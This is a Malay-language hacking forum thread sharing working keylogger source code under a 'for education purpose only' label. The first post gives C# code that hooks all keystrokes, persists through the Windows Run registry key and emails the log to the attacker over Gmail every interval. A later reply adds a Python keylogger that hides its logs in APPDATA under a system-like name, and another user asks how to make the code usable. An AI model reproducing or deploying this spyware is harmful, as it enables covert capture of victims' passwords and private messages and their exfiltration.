Thread Rating:
  • 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
[C#] [SRC] simple keylogger + gmailer
04-02-2010, 11:17 PM,
Post: #1
[C#] [SRC] simple keylogger + gmailer
benda ni akan add entri kat registry supaya autostart masa start windows.. then dia akan send log tu ke email setiap 60 minit. Pandai2 la tengok source ni dan modify apa yang patut.

FOR EDUCATION PURPOSE ONLY!

Code:
using System;
using System.Diagnostics;
using System.Timers;
using System.Windows.Forms;
using System.Runtime.InteropServices;
using System.IO;
using System.Net;
using System.Net.Mail;
using Microsoft.Win32;

namespace Keylogger
{
    static class appstart
    {
        public static string path = "C:/file.txt";
        public static byte caps = 0, shift = 0, failed = 0;

        public static void startup()
        {
            //Regedit --> Startup objects
            RegistryKey rkApp = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true);

            if (rkApp.GetValue("Keylogger") == null)
            {
                rkApp.SetValue("Keylogger", Application.ExecutablePath.ToString());
            }

            rkApp.Close();//dispose of the key
        }

        public static void OnTimedEvent(object source, EventArgs e)
        {
            System.Net.Mail.MailMessage msg = new System.Net.Mail.MailMessage(); //create the message
            msg.To.Add("username@gmail.com");
            msg.To.Add("another.optional.address.to.send.to@domain.com");
            msg.From = new MailAddress("username@gmail.com", "nickname", System.Text.Encoding.UTF8);
            msg.Subject = "whatever.you.want.to.be.in.the.message.subject";
            msg.SubjectEncoding = System.Text.Encoding.UTF8;
            msg.Body = "whatever.you.want.to.be.in.the.message.body";
            msg.BodyEncoding = System.Text.Encoding.UTF8;
            msg.IsBodyHtml = false;
            msg.Priority = MailPriority.High;
            SmtpClient client = new SmtpClient(); //Network Credentials for Gmail
            client.Credentials = new System.Net.NetworkCredential("username@gmail.com", "gmailpassword");
            client.Port = 587;
            client.Host = "smtp.gmail.com";
            client.EnableSsl = true;
            Attachment data = new Attachment(appstart.path);
            msg.Attachments.Add(data);
            try
            {
                client.Send(msg);
                failed = 0;
            }
            catch
            {
                data.Dispose();
                failed = 1;
            }
            data.Dispose();
            if (failed == 0)
                File.WriteAllText(appstart.path, ""); //empties the file
            failed = 0;
        } //end of the OnTimedEvent method
    }//end of the appstart class

    class InterceptKeys
    {
        private const int WH_KEYBOARD_LL = 13;
        private const int WM_KEYDOWN = 0x0100;
        private static LowLevelKeyboardProc _proc = HookCallback;
        private static IntPtr _hookID = IntPtr.Zero;

        public static void Main()
        {
            _hookID = SetHook(_proc);
            appstart.startup();
            System.Timers.Timer timer;
            timer = new System.Timers.Timer();
            timer.Elapsed += new ElapsedEventHandler(appstart.OnTimedEvent);
            timer.AutoReset = true;
            timer.Interval = 600000;
            timer.Start();
            Application.Run();
            GC.KeepAlive(timer);
            UnhookWindowsHookEx(_hookID);
        }

        private static IntPtr SetHook(LowLevelKeyboardProc proc)
        {
            using (Process curProcess = Process.GetCurrentProcess())
            using (ProcessModule curModule = curProcess.MainModule)
            {
                return SetWindowsHookEx(WH_KEYBOARD_LL, proc, GetModuleHandle(curModule.ModuleName), 0);
            }
        }

        private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);

        private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
        {
            if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
            {
                StreamWriter sw = File.AppendText(appstart.path);
                int vkCode = Marshal.ReadInt32(lParam);
                if (Keys.Shift == Control.ModifierKeys) appstart.shift = 1;

                switch ((Keys)vkCode)
                {
                    case Keys.Space:
                        sw.Write(" ");
                        break;
                    case Keys.Return:
                        sw.WriteLine("");
                        break;
                    case Keys.Back:
                        sw.Write("back");
                        break;
                    case Keys.Tab:
                        sw.Write("TAB");
                        break;
                    case Keys.D0:
                        if (appstart.shift == 0) sw.Write("0");
                        else sw.Write(")");
                        break;
                    case Keys.D1:
                        if (appstart.shift == 0) sw.Write("1");
                        else sw.Write("!");
                        break;
                    case Keys.D2:
                        if (appstart.shift == 0) sw.Write("2");
                        else sw.Write("@");
                        break;
                    case Keys.D3:
                        if (appstart.shift == 0) sw.Write("3");
                        else sw.Write("#");
                        break;
                    case Keys.D4:
                        if (appstart.shift == 0) sw.Write("4");
                        else sw.Write("$");
                        break;
                    case Keys.D5:
                        if (appstart.shift == 0) sw.Write("5");
                        else sw.Write("%");
                        break;
                    case Keys.D6:
                        if (appstart.shift == 0) sw.Write("6");
                        else sw.Write("^");
                        break;
                    case Keys.D7:
                        if (appstart.shift == 0) sw.Write("7");
                        else sw.Write("&");
                        break;
                    case Keys.D8:
                        if (appstart.shift == 0) sw.Write("8");
                        else sw.Write("*");
                        break;
                    case Keys.D9:
                        if (appstart.shift == 0) sw.Write("9");
                        else sw.Write("(");
                        break;
                    case Keys.LShiftKey:
                    case Keys.RShiftKey:
                    case Keys.LControlKey:
                    case Keys.RControlKey:
                    case Keys.LMenu:
                    case Keys.RMenu:
                    case Keys.LWin:
                    case Keys.RWin:
                    case Keys.Apps:
                        sw.Write("");
                        break;
                    case Keys.OemQuestion:
                        if (appstart.shift == 0) sw.Write("/");
                        else sw.Write("?");
                        break;
                    case Keys.OemOpenBrackets:
                        if (appstart.shift == 0) sw.Write("[");
                        else sw.Write("{");
                        break;
                    case Keys.OemCloseBrackets:
                        if (appstart.shift == 0) sw.Write("]");
                        else sw.Write("}");
                        break;
                    case Keys.Oem1:
                        if (appstart.shift == 0) sw.Write(";");
                        else sw.Write(":");
                        break;
                    case Keys.Oem7:
                        if (appstart.shift == 0) sw.Write("'");
                        else sw.Write('"');
                        break;
                    case Keys.Oemcomma:
                        if (appstart.shift == 0) sw.Write(",");
                        else sw.Write("<");
                        break;
                    case Keys.OemPeriod:
                        if (appstart.shift == 0) sw.Write(".");
                        else sw.Write(">");
                        break;
                    case Keys.OemMinus:
                        if (appstart.shift == 0) sw.Write("-");
                        else sw.Write("_");
                        break;
                    case Keys.Oemplus:
                        if (appstart.shift == 0) sw.Write("=");
                        else sw.Write("+");
                        break;
                    case Keys.Oemtilde:
                        if (appstart.shift == 0) sw.Write("`");
                        else sw.Write("~");
                        break;
                    case Keys.Oem5:
                        sw.Write("|");
                        break;
                    case Keys.Capital:
                        if (appstart.caps == 0) appstart.caps = 1;
                        else appstart.caps = 0;
                        break;
                    default:
                        if (appstart.shift == 0 && appstart.caps == 0) sw.Write(((Keys)vkCode).ToString().ToLower());
                        if (appstart.shift == 1 && appstart.caps == 0) sw.Write(((Keys)vkCode).ToString().ToUpper());
                        if (appstart.shift == 0 && appstart.caps == 1) sw.Write(((Keys)vkCode).ToString().ToUpper());
                        if (appstart.shift == 1 && appstart.caps == 1) sw.Write(((Keys)vkCode).ToString().ToLower());
                        break;
                } //end of switch
                appstart.shift = 0;
                sw.Close();
            }
            return CallNextHookEx(_hookID, nCode, wParam, lParam);
        } //end of HookCallback method

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        [return: MarshalAs(UnmanagedType.Bool)]
        private static extern bool UnhookWindowsHookEx(IntPtr hhk);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

        [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern IntPtr GetModuleHandle(string lpModuleName);

    }
}
[Image: GteM3.png]
Reply
04-02-2010, 11:42 PM,
Post: #2
RE: [C#] [SRC] simple keylogger + gmailer
Nice. Converting to VB.net ni level one Keyboard hook ke ?
"You're what you achieve. Therefore be the man you wanted to be."
Reply
04-02-2010, 11:44 PM,
Post: #3
RE: [C#] [SRC] simple keylogger + gmailer
(04-02-2010, 11:42 PM)hellxox Wrote: Nice. Converting to VB.net ni level one Keyboard hook ke ?

low level keyboard hook
[Image: GteM3.png]
Reply
04-02-2010, 11:50 PM,
Post: #4
RE: [C#] [SRC] simple keylogger + gmailer
Thanks dude.
"You're what you achieve. Therefore be the man you wanted to be."
Reply
29-11-2013, 03:27 PM,
Post: #5
RE: [C#] [SRC] simple keylogger + gmailer
Really useful! Thanks and want to share a Python Keylogger

Code:
Code:
import pythoncom
import pyHook
import os
import random
import datetime

def OnKeyboardEvent(event):
    directory = os.popen('echo %APPDATA%').read().strip('\r\n')
    directory = str(directory).replace("\\", '/')
    os.chdir(directory)
    now = datetime.datetime.now()
    if os.path.exists(r'WINDOWSLOG-%d-%d-%d.txt' % (now.month, now.day, now.year)):
        file = open('WINDOWSLOG-%d-%d-%d.txt' % (now.month, now.day, now.year), 'a')
        file.write('Data: (%s), (%s), (%s), (%s)\n' % (event.Time, event.Window, event.WindowName, event.Key))
        file.close()
    else:
        file = open('WINDOWSLOG-%d-%d-%d.txt' % (now.month, now.day, now.year), 'w')
        file.write('Data: (%s), (%s), (%s), (%s)\n' % (event.Time, event.Window, event.WindowName, event.Key))
        file.close()
    return True

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
Reply
29-11-2013, 03:54 PM, (This post was last modified: 29-11-2013, 06:10 PM by fatah.)
Post: #6
RE: [C#] [SRC] simple keylogger + gmailer
hesterl, nice GayFace

Quote: System Requirements

Windows 2000 or later (low-level hooks are not supported in earlier versions of Windows)
Python 2.4 or later
Mark Hammond's PyWin32 library (formerly known as win32all extensions)
pyHook 1.4 or later

Reference: http://sourceforge.net/apps/mediawiki/py...k_Tutorial

suhz kena open new python section la kut.
̿ ̿ ̿̿'̿̿\̵͇̿̿\=(•̪●)=/̵͇̿̿/'̿̿ ̿ ̿ ̿ - انا کڤيتݢولوڠ
http://fatah.afraid.org/
[Image: 763440762.png]
Reply
30-12-2013, 12:03 AM,
Post: #7
RE: [C#] [SRC] simple keylogger + gmailer
hmm.. keylogger utk mobile device ada? on software kat phone then letak sebelah keyboard trus bleh log apa org tuh taip..ada dgr dulu cerita nya...adakah ia mitos or realiti??
However near and dear you are with wife, children, friends, families they are not you; they are outside of you. The inside of you says who is near. If nothing is said than you are foreveralone. Raise your iman and you shall not be foreveralone.
Reply
31-12-2013, 05:36 PM,
Post: #8
RE: [C#] [SRC] simple keylogger + gmailer
Damn nice, reverseengineer nb ;d
=) Best bhai
Spoiler:
Hello, Hello,
24 jam sehari,
Hello, Hello,
Melangkaui ekspektasi,
Hubungi 0380008000 sedia membantu,
Hubungi 0380008000 hanya untukmu,
Hello, Hello,
24 jam sehari,
Hello... Hello,
Melangkaui ekspektasi,
Hubungi 03 8000 8000 sedia membantu,
Hubungi 03 8000 8000 hanya untukmu.
Best kan =)
Reply
31-12-2013, 09:23 PM,
Post: #9
RE: [C#] [SRC] simple keylogger + gmailer
ape yg ptot edit kt coding tu spya leh guna? sry no0b tnye Kih3
Reply


Possibly Related Threads...
Thread Author Replies Views Last Post
  [C#][SRC] Keylogger + PHP suhz 12 3,721 10-01-2011, 02:26 AM
Last Post: Joey
  [Tutorial] Simple Web Browser tutorial (C#) XShimeX 6 2,121 04-12-2009, 07:27 AM
Last Post: wadud

Forum Jump: